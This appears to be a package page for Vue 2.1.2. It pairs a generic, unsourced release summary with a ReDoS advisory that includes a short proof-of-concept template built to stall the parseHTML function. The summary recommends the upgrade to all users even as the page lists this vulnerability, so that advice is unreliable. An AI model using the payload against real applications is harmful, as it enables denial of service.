Vue 2.1.2 is a minor release in the Vue.js 2.x series, following closely on the heels of version 2.1.1. Both versions share the same core description: a reactive, component-oriented view layer designed for building modern web interfaces. From a developer's perspective, this means Vue continues to offer its familiar and powerful component system, reactivity features, and overall architecture for creating dynamic and interactive user experiences. Examining the dependencies and devDependencies, we see a largely identical landscape. This indicates that the core development workflow, testing methodologies, and build processes remain consistent between the two versions.
The real difference lies in the under-the-hood improvements and bug fixes incorporated in 2.1.2. While a detailed changelog isn't directly available here, the quick release cycle suggests it may address specific issues identified in 2.1.1 or offer incremental performance enhancements. For developers, upgrading from 2.1.1 to 2.1.2 should be a seamless experience with minimal breaking changes, if any. The upgrades aims to provide potentially better stability and reliability. Essentially, Vue 2.1.2 represents a refined iteration of the established Vue 2.x framework, ensuring a solid foundation for building robust and scalable web applications and is a recommended upgrade for all vue.js users.
All the vulnerabilities related to the version 2.1.2 of the package
ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function
The ReDoS can be exploited through the parseHTML function in the html-parser.ts file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.
To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a <script> tag but closes it incorrectly with something like </textarea>.
new Vue({
el: '#app',
template: '
<div>
Hello, world!
<script>${'<'.repeat(1000000)}</textarea>
</div>'
});
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:
<!DOCTYPE html>
<html>
<head>
<title>My first Vue app</title>
</head>
<body>
<div id=\"app\">Loading...</div>
</body>
</html>
When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.